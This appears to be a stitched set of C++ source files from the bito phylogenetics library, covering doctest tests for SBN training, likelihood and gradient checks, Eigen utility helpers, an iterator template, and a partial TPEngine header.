for (size_t i = 0; i < branch_lengths_gradient.size(); i++) {
CHECK_LT(fabs(branch_lengths_gradient[i] - physher_gradients[i]), 0.0001);
}
}
}
}
TEST_CASE("UnrootedSBNInstance: likelihood and gradient with Weibull") {
UnrootedSBNInstance inst("charlie");
PhyloModelSpecification simple_specification{"JC69", "weibull+4", "strict"};
inst.ReadNexusFile("data/DS1.subsampled_10.t", false);
inst.ReadFastaFile("data/DS1.fasta");
std::vector<double> physher_likelihoods(
{-9456.1201098061, -6624.4110704332, -6623.4474776131, -6617.25658038029,
-6627.5385571548, -6621.6155048722, -6622.3314942713, -6618.7695717585,
-6616.3837517370, -6623.8295828648});
// First element of each gradient
std::vector<double> physher_gradients_bl0(
{-126.890527, 157.251275, 138.202510, -180.311856, 417.562897, -796.450894,
-173.744375, -70.693513, 699.190754, -723.034349});
std::vector<BeagleFlags> vector_flag_options{BEAGLE_FLAG_VECTOR_NONE,
BEAGLE_FLAG_VECTOR_SSE};
std::vector<bool> tip_state_options{false, true};
for (const auto vector_flag : vector_flag_options) {
for (const auto tip_state_option : tip_state_options) {
inst.PrepareForPhyloLikelihood(simple_specification, 2, {vector_flag},
tip_state_option);
auto param_block_map = inst.GetPhyloModelParamBlockMap();
param_block_map.at(WeibullSiteModel::shape_key_).setConstant(0.1);
auto likelihoods = inst.LogLikelihoods();
for (size_t i = 0; i < likelihoods.size(); i++) {
CHECK_LT(fabs(likelihoods[i] - physher_likelihoods[i]), 0.00011);
}
auto gradients = inst.PhyloGradients();
for (size_t i = 0; i < gradients.size(); i++) {
CHECK_LT(fabs(gradients[i].gradient_["branch_lengths"][0] -
physher_gradients_bl0[i]),
0.00011);
}
// Test rescaling
inst.SetRescaling(true);
auto likelihoods_rescaling = inst.LogLikelihoods();
// Likelihoods from LogLikelihoods()
for (size_t i = 0; i < likelihoods_rescaling.size(); i++) {
CHECK_LT(fabs(likelihoods_rescaling[i] - physher_likelihoods[i]), 0.00011);
}
auto gradients_rescaling = inst.PhyloGradients();
for (size_t i = 0; i < gradients.size(); i++) {
CHECK_LT(fabs(gradients_rescaling[i].gradient_["branch_lengths"][0] -
physher_gradients_bl0[i]),
0.00011);
}
}
}
}
TEST_CASE("UnrootedSBNInstance: SBN training") {
UnrootedSBNInstance inst("charlie");
inst.ReadNewickFile("data/DS1.100_topologies.nwk", false);
inst.ProcessLoadedTrees();
// These "Expected" functions are defined in sbn_probability.hpp.
const auto expected_SA = ExpectedSAVector();
inst.TrainSimpleAverage();
CheckVectorXdEquality(inst.CalculateSBNProbabilities(), expected_SA, 1e-12);
// Expected EM vectors with alpha = 0.
const auto [expected_EM_0_1, expected_EM_0_23] = ExpectedEMVectorsAlpha0();
// 1 iteration of EM with alpha = 0.
inst.TrainExpectationMaximization(0., 1);
CheckVectorXdEquality(inst.CalculateSBNProbabilities(), expected_EM_0_1, 1e-12);
// 23 iterations of EM with alpha = 0.
inst.TrainExpectationMaximization(0., 23);
CheckVectorXdEquality(inst.CalculateSBNProbabilities(), expected_EM_0_23, 1e-12);
// 100 iteration of EM with alpha = 0.5.
const auto expected_EM_05_100 = ExpectedEMVectorAlpha05();
inst.TrainExpectationMaximization(0.5, 100);
CheckVectorXdEquality(inst.CalculateSBNProbabilities(), expected_EM_05_100, 1e-5);
}
TEST_CASE("UnrootedSBNInstance: tree sampling") {
UnrootedSBNInstance inst("charlie");
inst.ReadNewickFile("data/five_taxon_unrooted.nwk", false);
inst.ProcessLoadedTrees();
inst.TrainSimpleAverage();
// Count the frequencies of rooted trees in a file.
size_t rooted_tree_count_from_file = 0;
RootedIndexerRepresentationSizeDict counter_from_file(0);
for (const auto &indexer_representation : inst.MakeIndexerRepresentations()) {
RootedSBNMaps::IncrementRootedIndexerRepresentationSizeDict(counter_from_file,
indexer_representation);
rooted_tree_count_from_file += indexer_representation.size();
}
// Count the frequencies of trees when we sample after training with
// SimpleAverage.
size_t sampled_tree_count = 1'000'000;
RootedIndexerRepresentationSizeDict counter_from_sampling(0);
ProgressBar progress_bar(sampled_tree_count / 1000);
for (size_t sample_idx = 0; sample_idx < sampled_tree_count; ++sample_idx) {
const auto rooted_topology = inst.SampleTopology(true);
RootedSBNMaps::IncrementRootedIndexerRepresentationSizeDict(
counter_from_sampling,
RootedSBNMaps::IndexerRepresentationOf(inst.SBNSupport().Indexer(),
rooted_topology, out_of_sample_index));
if (sample_idx % 1000 == 0) {
++progress_bar;
progress_bar.display();
}
}
// These should be equal in the limit when we're training with SA.
for (const auto &[key, _] : counter_from_file) {
std::ignore = _;
double observed =
static_cast<double>(counter_from_sampling.at(key)) / sampled_tree_count;
double expected =
static_cast<double>(counter_from_file.at(key)) / rooted_tree_count_from_file;
CHECK_LT(fabs(observed - expected), 5e-3);
}
progress_bar.done();
}
TEST_CASE("UnrootedSBNInstance: gradient of log q_{phi}(tau) WRT phi") {
UnrootedSBNInstance inst("charlie");
// File gradient_test.t contains two trees:
// ((0,1), 2, (3,4)) and
// ((0,1), (2,3), 4).
inst.ReadNexusFile("data/gradient_test.t");
inst.ProcessLoadedTrees();
// The number of rootsplits across all of the input trees.
size_t num_rootsplits = 8;
// Manual enumeration shows that there are 31 PCSP's.
size_t num_pcsp = inst.sbn_parameters_.size() - num_rootsplits;
// Test for K = 1 tree.
size_t K = 1;
inst.tree_collection_.trees_.clear();
// Generate a tree,
// \tau = ((0,1),(2,3),4) with internal node labels ((0,1)5,(2,3)6,4)7.
std::vector<size_t> tau_indices = {5, 5, 6, 6, 7, 7, 7};
auto tau = UnrootedTree::OfParentIdVector(tau_indices);
inst.tree_collection_.trees_.push_back(tau);
// Initialize sbn_parameters_ to 0's and normalize, which is going to give a uniform
// distribution for rootsplits and PCSP distributions.
inst.sbn_parameters_.setZero();
EigenVectorXd normalized_sbn_parameters_in_log = inst.sbn_parameters_;
inst.ProbabilityNormalizeSBNParametersInLog(normalized_sbn_parameters_in_log);
// Because this is a uniform distribution, each rootsplit \rho has P(\rho) = 1/8.
//
// We're going to start by computing the rootsplit gradient.
// There are 7 possible rootings of \tau.
// For example consider rooting on the 014|23 split, yielding the following subsplits:
// 014|23, 2|3, 01|4, 0|1.
// Each of the child subsplits are the only possible subsplit,
// except for the root where it has probability 1/8. Hence, the probability
// for this tree is 1/8 x 1 x 1 x 1 = 1/8.
// Now, consider rooting on the 0|1234 split, yielding the following subsplits:
// 0|1234, 1|234, 23|4, 2|3.
// The probability for this tree is 1/8 x 1 x 1/2 x 1 = 1/16, where the 1/2 comes from
// the fact that we can have 23|4 or 2|34.
//
// Each of the remaining 5 trees has the same probability: the product of
// 1/8 for the rootsplit and 1/2 for one of the subsplit resolutions of 234.
// One can see this because the only way for there not to be ambiguity in the
// resolution of the splitting of 234 is for one to take 014|23 as the rootsplit.
//
// Hence, q(\tau) = 6 x 1/16 + 1 x 1/8 = 8/16 = 0.5.
// Note that there are a total of 8 rootsplits; 7 are possible rootsplits of
// the sampled tree \tau but one rootsplit,
// 014|23 is not observed rooting of \tau and hence,
// the gradient for 014|23 is simply -P(014|23) = -1/8.
//
// The gradient with respect to each of the 7 rootsplits is given by
// P(\tau_{\rho})/q(\tau) - P(\rho) via eq:rootsplitGrad,
// which is equal to
// (1/8) / (0.5) - 1/8 = 1/8 for the tree with \rho = 34|125 and
// (1/16) / (0.5) - 1/8 = 0 for 6 remaining trees.
EigenVectorXd expected_grad_rootsplit(8);
expected_grad_rootsplit << -1. / 8, 0, 0, 0, 0, 0, 0, 1. / 8;
auto indexer_representations = inst.MakeIndexerRepresentations();
EigenVectorXd grad_log_q = inst.GradientOfLogQ(normalized_sbn_parameters_in_log,
indexer_representations.at(0));
EigenVectorXd realized_grad_rootsplit = grad_log_q.segment(0, 8);
// Sort them and compare against sorted version of
// realized_grad_rootsplit[0:7].
std::sort(realized_grad_rootsplit.begin(), realized_grad_rootsplit.end());
CheckVectorXdEquality(realized_grad_rootsplit, expected_grad_rootsplit, 1e-8);
// Manual enumeration shows that the entries corresponding to PCSP should have
// 6 entries with -1/16 and 6 entries with 1/16 and the rest with 0's.
// For example, consider the tree ((0,1),(2,3),4), which has the following subsplits:
// 0123|4, 01|23, 0|1, 2|3.
// Note the subsplit s = 01|23 is one of two choices for
// the parent subsplit t = 0123|4,
// since 0123|4 can also be split into s' = 012|3.
// Let \rho = 0123|4, the gradient for 01|23 is given by:
// (1/q(\tau)) P(\tau_{\rho}) * (1 - P(01|23 | 0123|4))
// = 2 * (1/16) * (1-0.5) = 1/16.
// The gradient for s' = 012|3 is,
// (1/q(\tau)) P(\tau_{\rho}) * -P(012|3 | 0123|4)
// = 2 * (1/16) * -0.5 = -1/16.
// The gradient for the following PCSP are 1/16 as above.
// 014|3 | 0134|2
// 014|2 | 0124|3
// 01|23 | 0123|4
// 23|4 | 01|234
// 23|4 | 1|234
// 23|4 | 0|234
// And each of these have an alternate subsplit s' that gets a gradient of -1/16.
// Each of the other PCSP gradients are 0 either because its parent support
// never appears in the tree or it represents the only child subsplit.
EigenVectorXd expected_grad_pcsp = EigenVectorXd::Zero(num_pcsp);
expected_grad_pcsp.segment(0, 6).setConstant(-1. / 16);
expected_grad_pcsp.segment(num_pcsp - 6, 6).setConstant(1. / 16);
EigenVectorXd realized_grad_pcsp = grad_log_q.tail(num_pcsp);
std::sort(realized_grad_pcsp.begin(), realized_grad_pcsp.end());
CheckVectorXdEquality(realized_grad_pcsp, expected_grad_pcsp, 1e-8);
// We'll now change the SBN parameters and check the gradient there.
// If we root at 0123|4, then the only choice we have is between the following s and
// s' as described above.
// The PCSP s|t = (01|23) | (0123|4) corresponds to 00001|11110|00110.
// The PCSP s'|t = (012|3) | (0123|4) corresponds to 00001|11110|00010.
Bitset s("000011111000110");
Bitset s_prime("000011111000010");
size_t s_idx = inst.SBNSupport().IndexerAt(s);
size_t s_prime_idx = inst.SBNSupport().IndexerAt(s_prime);
inst.sbn_parameters_.setZero();
inst.sbn_parameters_(s_idx) = 1;
inst.sbn_parameters_(s_prime_idx) = -1;
normalized_sbn_parameters_in_log = inst.sbn_parameters_;
inst.ProbabilityNormalizeSBNParametersInLog(normalized_sbn_parameters_in_log);
// These changes to normalized_sbn_parameters_in_log will change q(\tau) as well as
// P(\tau_{\rho}) for \rho = 0123|4. First,
// P(\tau_{\rho}) = 1/8 * exp(1)/(exp(1) + exp(-1)) = 0.1100996.
double p_tau_rho = (1. / 8) * exp(normalized_sbn_parameters_in_log[s_idx]);
// For q(\tau), we will just compute using the already tested function:
double q_tau = inst.CalculateSBNProbabilities()(0);
// The gradient for s|t is given by,
// (1/q(\tau)) x P(\tau_{\rho}) x (1 - P(s|t))
double expected_grad_at_s =
(1. / q_tau) * p_tau_rho * (1 - exp(normalized_sbn_parameters_in_log[s_idx]));
// And the gradient for s'|t is given by,
// (1/q(\tau)) x P(\tau_{\rho}) x (-P(s|t))
double expected_grad_at_s_prime =
(1. / q_tau) * p_tau_rho * -exp(normalized_sbn_parameters_in_log[s_prime_idx]);
// We're setting normalized_sbn_parameters_in_log to NaN as we would in a normal
// application of GradientOfLogQ.
normalized_sbn_parameters_in_log.setConstant(DOUBLE_NAN);
grad_log_q = inst.GradientOfLogQ(normalized_sbn_parameters_in_log,
indexer_representations.at(0));
CHECK_LT(fabs(expected_grad_at_s - grad_log_q(s_idx)), 1e-8);
CHECK_LT(fabs(expected_grad_at_s_prime - grad_log_q(s_prime_idx)), 1e-8);
// Now we test the gradient by doing the calculation by hand.
K = 4;
inst.SampleTrees(K);
// Make up some numbers for log_f.
EigenVectorXd log_f(K);
log_f << -83, -75, -80, -79;
// log_F = -74.97493
double log_F = NumericalUtils::LogSum(log_f);
double elbo = log_F - log(K);
// 0.0003271564 0.9752395946 0.0065711127 0.0178621362
EigenVectorXd tilde_w = (log_f.array() - log_F).exp();
// -76.36155 -77.33646 -76.36779 -76.37908
EigenVectorXd multiplicative_factors = (elbo - tilde_w.array());
EigenVectorXd expected_nabla(inst.sbn_parameters_.size());
expected_nabla.setZero();
// We now have some confidence in GradientOfLogQ(), so we just use it.
auto indexer_reps = inst.MakeIndexerRepresentations();
normalized_sbn_parameters_in_log.setConstant(DOUBLE_NAN);
for (size_t k = 0; k < K; k++) {
grad_log_q =
multiplicative_factors(k) *
inst.GradientOfLogQ(normalized_sbn_parameters_in_log, indexer_reps.at(k))
.array();
expected_nabla += grad_log_q;
}
bool use_vimco = false;
EigenVectorXd realized_nabla = inst.TopologyGradients(log_f, use_vimco);
CheckVectorXdEquality(realized_nabla, expected_nabla, 1e-8);
// Test for VIMCO gradient estimator.
EigenVectorXd vimco_multiplicative_factors(K);
vimco_multiplicative_factors << -0.04742748, 2.59553236, -0.01779887, -0.01278592;
expected_nabla.setZero();
normalized_sbn_parameters_in_log.setConstant(DOUBLE_NAN);
for (size_t k = 0; k < K; k++) {
grad_log_q =
vimco_multiplicative_factors(k) *
inst.GradientOfLogQ(normalized_sbn_parameters_in_log, indexer_reps.at(k))
.array();
expected_nabla += grad_log_q;
}
use_vimco = true;
realized_nabla = inst.TopologyGradients(log_f, use_vimco);
CheckVectorXdEquality(realized_nabla, expected_nabla, 1e-8);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 30,241
|
C++
|
.h
| 566
| 47.236749
| 88
| 0.67875
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,121
|
sugar_iterators.hpp
|
phylovi_bito/src/sugar_iterators.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Templates for building different types of iterators.
#include <iostream>
#include <vector>
#include <tuple>
// SuperIterator takes any number of iterators of the value_type and
// iterates through them one-after-another.
template <typename ValueType, typename... Iterators>
class SuperIterator {
public:
SuperIterator(Iterators... iterators) : iterators_(std::make_tuple(iterators...)) {}
// Define the necessary iterator operations
bool operator!=(const SuperIterator& other) const {
return std::apply(
[this](const auto&... iters) {
return (... && (iters != std::get<0>(iterators_)));
},
iterators_);
}
void operator++() {
std::apply([](auto&... iters) { (..., (++iters)); }, iterators_);
}
// Return the value_type directly since they are guaranteed to be the same
ValueType operator*() const {
return std::get<0>(
std::apply([this](const auto&... iters) { return std::make_tuple(*iters...); },
iterators_));
}
private:
std::tuple<Iterators...> iterators_;
};
// Template function to create the SuperIterator
template <typename ValueType, typename... Containers>
auto MakeSuperIterator(Containers&... containers) {
return SuperIterator<ValueType, typename Containers::iterator...>(
containers.begin()...);
}
| 1,449
|
C++
|
.h
| 39
| 33.333333
| 87
| 0.684961
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,122
|
eigen_sugar.hpp
|
phylovi_bito/src/eigen_sugar.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Put Eigen "common" code here.
#pragma once
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wold-style-cast"
#pragma GCC diagnostic ignored "-Wmaybe-uninitialized"
#include <Eigen/Dense>
#pragma GCC diagnostic pop
#include <fstream>
#include "sugar.hpp"
using EigenVectorXd = Eigen::VectorXd;
using EigenVectorXi = Eigen::VectorXi;
using EigenMatrixXd =
Eigen::Matrix<double, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>;
using EigenMatrixXb = Eigen::Matrix<bool, Eigen::Dynamic, Eigen::Dynamic>;
using EigenVectorXdRef = Eigen::Ref<EigenVectorXd>;
using EigenMatrixXdRef = Eigen::Ref<EigenMatrixXd>;
using EigenConstVectorXdRef = Eigen::Ref<const EigenVectorXd>;
using EigenConstMatrixXdRef = Eigen::Ref<const EigenMatrixXd>;
using EigenArrayXb = Eigen::Array<bool, Eigen::Dynamic, 1>;
using EigenArrayXbRef = Eigen::Ref<Eigen::Array<bool, Eigen::Dynamic, 1>>;
const static Eigen::IOFormat EigenCSVFormat(Eigen::FullPrecision, Eigen::DontAlignCols,
", ", "\n");
// Write an Eigen object to a CSV file.
template <class EigenType>
void EigenToCSV(const std::string &file_path, EigenType eigen_object) {
std::ofstream file(file_path.c_str());
file << eigen_object.format(EigenCSVFormat) << std::endl;
if (file.bad()) {
Failwith("Failure writing to " + file_path);
}
}
// Convert each entry of a std::vector<T> to double using a function f and store in an
// EigenVectorXd.
template <typename T>
EigenVectorXd EigenVectorXdOfStdVectorT(const std::vector<T> &v,
const std::function<double(const T &)> &f) {
EigenVectorXd results(v.size());
for (size_t i = 0; i < v.size(); ++i) {
results[i] = f(v[i]);
}
return results;
}
// Initialize a new EigenVectorXd using a std::vector<double>.
// See test below showing that it is indeed a new vector, not a Map.
inline EigenVectorXd EigenVectorXdOfStdVectorDouble(std::vector<double> &v) {
return Eigen::Map<EigenVectorXd, Eigen::Unaligned>(v.data(), v.size());
}
template <typename EigenMatrix>
std::string EigenMatrixToString(const EigenMatrix &mx) {
std::stringstream os;
os << "[";
for (int i = 0; i < mx.rows(); i++) {
os << "[";
for (int j = 0; j < mx.cols(); j++) {
os << mx(i, j) << ((j < mx.cols() - 1) ? ", " : "");
}
os << "]" << ((i < mx.rows() - 1) ? ", " : "") << std::endl;
}
os << "]";
return os.str();
}
#ifdef DOCTEST_LIBRARY_INCLUDED
void CheckVectorXdEquality(double value, const EigenVectorXd v, double tolerance) {
for (Eigen::Index i = 0; i < v.size(); i++) {
CHECK_LT(fabs(value - v[i]), tolerance);
}
};
void CheckVectorXdEquality(const EigenVectorXd v1, const EigenVectorXd v2,
double tolerance) {
CHECK_EQ(v1.size(), v2.size());
for (Eigen::Index i = 0; i < v1.size(); i++) {
double error = fabs(v1[i] - v2[i]);
if (error > tolerance) {
std::cerr << "CheckVectorXdEquality failed for index " << i << ": " << v1[i]
<< " vs " << v2[i] << std::endl;
}
CHECK_LT(error, tolerance);
}
};
// Return the maximum absolute difference between any two entries in vector.
double VectorXdMaxError(const EigenVectorXd v1, const EigenVectorXd v2) {
double max_error = 0.;
Assert(v1.size() == v2.size(),
"Cannot find max error of EigenVectorXd's of different sizes.");
for (Eigen::Index i = 0; i < v1.size(); i++) {
double error = fabs(v1[i] - v2[i]);
if (error > max_error) {
max_error = error;
}
}
return max_error;
}
// Check if vectors are equal, within given tolerance for any two entries in vector.
bool VectorXdEquality(const EigenVectorXd v1, const EigenVectorXd v2,
double tolerance) {
if (v1.size() != v2.size()) {
return false;
}
for (Eigen::Index i = 0; i < v1.size(); i++) {
double error = fabs(v1[i] - v2[i]);
if (error > tolerance) {
return false;
}
}
return true;
};
void CheckVectorXdEqualityAfterSorting(const EigenVectorXdRef v1,
const EigenVectorXdRef v2, double tolerance) {
EigenVectorXd v1_sorted = v1;
EigenVectorXd v2_sorted = v2;
std::sort(v1_sorted.begin(), v1_sorted.end());
std::sort(v2_sorted.begin(), v2_sorted.end());
CheckVectorXdEquality(v1_sorted, v2_sorted, tolerance);
};
TEST_CASE(
"Make sure that EigenVectorXdOfStdVectorDouble makes a new vector rather than "
"wrapping data.") {
std::vector<double> a = {1., 2., 3., 4.};
EigenVectorXd b = EigenVectorXdOfStdVectorDouble(a);
a[0] = 99;
CHECK_EQ(b[0], 1.);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 4,776
|
C++
|
.h
| 126
| 33.730159
| 87
| 0.66199
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,123
|
tp_engine.hpp
|
phylovi_bito/src/tp_engine.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// TPEngine uses the Top-Pruning method for evaluating the edges of the DAG. Each edge
// is evaluated according to its representative "Top Tree", that is, the best scoring
// tree of all possible trees contained within the DAG that include that edge. The
// topology of each Top Tree is stored per edge in the choice map. Tree/edge scoring is
// facilitated by the helper TPEvalEngine class.
#pragma once
#include "sugar.hpp"
#include "gp_dag.hpp"
#include "graft_dag.hpp"
#include "pv_handler.hpp"
#include "tp_choice_map.hpp"
#include "nni_operation.hpp"
#include "dag_branch_handler.hpp"
#include "optimization.hpp"
#include "substitution_model.hpp"
#include "tp_evaluation_engine.hpp"
enum class TPEvalEngineType { LikelihoodEvalEngine, ParsimonyEvalEngine };
static const inline size_t TPEvalEngineTypeCount = 2;
class TPEvalEngineTypeEnum
: public EnumWrapper<TPEvalEngineType, size_t, TPEvalEngineTypeCount,
TPEvalEngineType::LikelihoodEvalEngine,
TPEvalEngineType::ParsimonyEvalEngine> {
public:
static inline const std::string Prefix = "TPEvalEngineType";
static inline const Array<std::string> Labels = {
{"LikelihoodEvalEngine", "ParsimonyEvalEngine"}};
static std::string ToString(const TPEvalEngineType e) {
std::stringstream ss;
ss << Prefix << "::" << Labels[e];
return ss.str();
}
friend std::ostream &operator<<(std::ostream &os, const TPEvalEngineType e) {
os << ToString(e);
return os;
}
};
using BitsetEdgeIdMap = std::unordered_map<Bitset, EdgeId>;
using BitsetBitsetMap = std::unordered_map<Bitset, Bitset>;
using NNINNIMap = std::unordered_map<NNIOperation, NNIOperation>;
using NNIAdjNodeIdMap = NNIAdjacentMap<std::pair<NodeId, NodeId>>;
using NNIAdjBitsetEdgeIdMap = NNIAdjacentMap<std::pair<Bitset, EdgeId>>;
using EdgeIdTopologyMap = std::vector<std::pair<std::set<EdgeId>, Node::Topology>>;
using TreeIdTopologyMap = std::map<TreeId, std::vector<Node::Topology>>;
using TreeIdTreeMap = std::map<TreeId, std::vector<RootedTree>>;
class TPEngine {
public:
TPEngine(GPDAG &dag, SitePattern &site_pattern);
TPEngine(GPDAG &dag, SitePattern &site_pattern,
std::optional<std::string> mmap_likelihood_path,
std::optional<std::string> mmap_parsimony_path,
std::optional<const RootedTreeCollection> tree_collection = std::nullopt,
std::optional<const BitsetSizeMap> edge_indexer = std::nullopt);
// ** Comparators
// Compares DAG and EdgeChoices. Note: only tests for equality, not a well-ordered
// comparator.
static int Compare(const TPEngine &lhs, const TPEngine &rhs,
const bool is_quiet = true);
friend bool operator==(const TPEngine &lhs, const TPEngine &rhs);
// ** Access
GPDAG &GetDAG() { return *dag_; }
const GPDAG &GetDAG() const { return *dag_; }
GraftDAG &GetGraftDAG() { return *graft_dag_; }
const GraftDAG &GetGraftDAG() const { return *graft_dag_; }
SitePattern &GetSitePattern() { return site_pattern_; }
const SitePattern &GetSitePattern() const { return site_pattern_; }
EigenVectorXd &GetSitePatternWeights() { return site_pattern_weights_; }
const EigenVectorXd &GetSitePatternWeights() const { return site_pattern_weights_; }
TPChoiceMap &GetChoiceMap() { return choice_map_; }
const TPChoiceMap &GetChoiceMap() const { return choice_map_; }
TPChoiceMap::EdgeChoice &GetChoiceMap(const EdgeId edge_id) {
return GetChoiceMap().GetEdgeChoice(edge_id);
}
const TPChoiceMap::EdgeChoice &GetChoiceMap(const EdgeId edge_id) const {
return GetChoiceMap().GetEdgeChoice(edge_id);
}
std::vector<TreeId> &GetTreeSource() { return tree_source_; }
const std::vector<TreeId> &GetTreeSource() const { return tree_source_; }
void SetTreeSource(const std::vector<TreeId> tree_source) {
tree_source_ = tree_source;
}
TreeId &GetTreeSource(const EdgeId edge_id) {
return GetTreeSource()[edge_id.value_];
}
const TreeId &GetTreeSource(const EdgeId edge_id) const {
return GetTreeSource()[edge_id.value_];
}
// ** Counts
// Node Counts
size_t GetNodeCount() const { return node_count_; };
size_t GetSpareNodeCount() const { return node_spare_count_; }
size_t GetAllocatedNodeCount() const { return node_alloc_; }
size_t GetPaddedNodeCount() const { return GetNodeCount() + GetSpareNodeCount(); };
void SetNodeCount(const size_t node_count) { node_count_ = node_count; }
void SetSpareNodeCount(const size_t node_spare_count) {
node_spare_count_ = node_spare_count;
}
void SetAllocatedNodeCount(const size_t node_alloc) { node_alloc_ = node_alloc; }
// Edge Counts
size_t GetEdgeCount() const { return edge_count_; };
size_t GetSpareEdgeCount() const { return edge_spare_count_; };
size_t GetAllocatedEdgeCount() const { return edge_alloc_; };
size_t GetPaddedEdgeCount() const { return GetEdgeCount() + GetSpareEdgeCount(); };
size_t GetSpareEdgeIndex(const size_t edge_offset) const {
const size_t edge_scratch_size = GetPaddedEdgeCount() - GetEdgeCount();
Assert(edge_offset < edge_scratch_size,
"Requested edge_offset outside of allocated scratch space.");
return edge_offset + GetEdgeCount();
}
void SetEdgeCount(const size_t edge_count) { edge_count_ = edge_count; }
void SetSpareEdgeCount(const size_t edge_spare_count) {
edge_spare_count_ = edge_spare_count;
}
void SetAllocatedEdgeCount(const size_t edge_alloc) { edge_alloc_ = edge_alloc; }
size_t GetSpareNodesPerNNI() const { return spare_nodes_per_nni_; }
size_t GetSpareEdgesPerNNI() const { return spare_edges_per_nni_; }
size_t GetInputTreeCount() const { return input_tree_count_; }
TreeId GetMaxTreeId() const { return TreeId(tree_counter_); }
TreeId GetNextTreeId() const { return TreeId(GetInputTreeCount()); }
// ** Settings
double GetResizingFactor() const;
size_t IsOptimizeNewEdges() const;
void SetOptimizeNewEdges(const bool do_optimize_new_edges);
size_t GetOptimizationMaxIteration() const;
void SetOptimizationMaxIteration(const size_t optimize_max_iter);
bool GetUseBestEdgeMap() const;
void SetUseBestEdgeMap(bool do_use_best_edge_map);
bool IsInitProposedBranchLengthsWithDAG() const;
void SetInitProposedBranchLengthsWithDAG(
const bool do_init_proposed_branch_lengths_with_dag);
bool IsFixProposedBranchLengthsFromDAG() const;
void SetFixProposedBranchLengthsFromDAG(
const bool do_fix_proposed_branch_lengths_from_dag);
// ** Maintenance
// Initialize engine parts: choice map, eval engine, etc.
void Initialize();
// Update engine after updating the DAG.
void UpdateAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &nni_to_pre_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer,
bool is_quiet = true);
// Resize GPEngine to accomodate DAG with given number of nodes and edges. Option
// to remap data according to DAG reindexers. Option to give explicit number of
// nodes or edges to allocate memory for (this is the only way memory allocation
// will be decreased).
void GrowNodeData(const size_t node_count,
std::optional<const Reindexer> node_reindexer = std::nullopt,
std::optional<const size_t> explicit_alloc = std::nullopt,
const bool on_init = false);
void GrowEdgeData(const size_t edge_count,
std::optional<const Reindexer> edge_reindexer = std::nullopt,
std::optional<const size_t> explicit_alloc = std::nullopt,
const bool on_intialization = false);
// Remap node and edge-based data according to reordering of DAG nodes and edges.
void ReindexNodeData(const Reindexer &node_reindexer, const size_t old_node_count);
void ReindexEdgeData(const Reindexer &edge_reindexer, const size_t old_edge_count);
// Grow space for storing temporary computation.
void GrowSpareNodeData(const size_t new_node_spare_count);
void GrowSpareEdgeData(const size_t new_edge_spare_count);
// Update edge and node data by copying over from pre-NNI to post-NNI.
using CopyEdgeDataFunc = std::function<void(const EdgeId, const EdgeId)>;
void CopyOverEdgeDataFromPreNNIToPostNNI(
const NNIOperation &post_nni, const NNIOperation &pre_nni,
CopyEdgeDataFunc copy_data_func,
std::optional<size_t> new_tree_id = std::nullopt);
// ** Choice Map
// Intialize choice map naively by setting first encountered edge for each
void InitializeChoiceMap();
// Update choice map after modifying DAG.
void UpdateChoiceMapAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &nni_to_pre_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer);
// Set tree source for each edge, by taking the first occurrence of each PCSP edge
// from input trees.
void SetTreeSourceByTakingFirst(const RootedTreeCollection &tree_collection,
const BitsetSizeMap &edge_indexer);
// Set each edge's choice map, by either:
// True: the PCSP heuristic, False: the Subsplit heuristic.
void SetChoiceMapByTakingFirst(const RootedTreeCollection &tree_collection,
const BitsetSizeMap &edge_indexer,
const bool use_subsplit_heuristic = true);
// Update an individual edge's choice map using the tree source. Naively takes first
// adjacent edge.
void UpdateEdgeChoiceByTakingFirstTree(const EdgeId edge_id);
// Update an individual edge's choice map using the tree source. Trees added to the
// DAG first recieve highest priority.
void UpdateEdgeChoiceByTakingHighestPriorityTree(const EdgeId edge_id);
// Update an individual edge's choice map using the tree source. Examines all
// available edge combinations an takes adjacent edge that results in max score.
void UpdateEdgeChoiceByTakingHighestScoringTree(const EdgeId edge_id);
// ** Proposed NNIs
// Get highest priority pre-NNI in DAG for given post-NNI.
NNIOperation FindHighestPriorityNeighborNNIInDAG(const NNIOperation &nni) const;
std::tuple<EdgeId, EdgeId, EdgeId> FindHighestPriorityAdjacentNodeId(
const NodeId node_id) const;
// Builds a map of adjacent edges from pre-NNI to post-NNI.
std::unordered_map<EdgeId, EdgeId> BuildAdjacentEdgeMapFromPostNNIToPreNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni) const;
// Map edge ids in pre-NNI edge choice according to the swap in post-NNI clade map.
TPChoiceMap::EdgeChoice RemapEdgeChoiceFromPreNNIToPostNNI(
const TPChoiceMap::EdgeChoice &pre_choice,
const NNIOperation::NNICladeArray &clade_map) const;
// Create remapped edge choices from pre-NNI to post-NNI.
TPChoiceMap::EdgeChoice GetRemappedEdgeChoiceFromPreNNIToPostNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni) const;
// Get the average of the edges below parent and above child.
double GetAvgLengthOfAdjEdges(
const NodeId parent_node_id, const NodeId child_node_id,
const std::optional<size_t> prev_node_count = std::nullopt,
const std::optional<Reindexer> node_reindexer = std::nullopt,
const std::optional<size_t> prev_edge_count = std::nullopt,
const std::optional<Reindexer> edge_reindexer = std::nullopt) const;
// Build map from new NNIs to best pre-existing neighbor NNI in DAG.
NNINNIMap BuildMapOfProposedNNIsToBestPreNNIs(const NNISet &post_nnis) const;
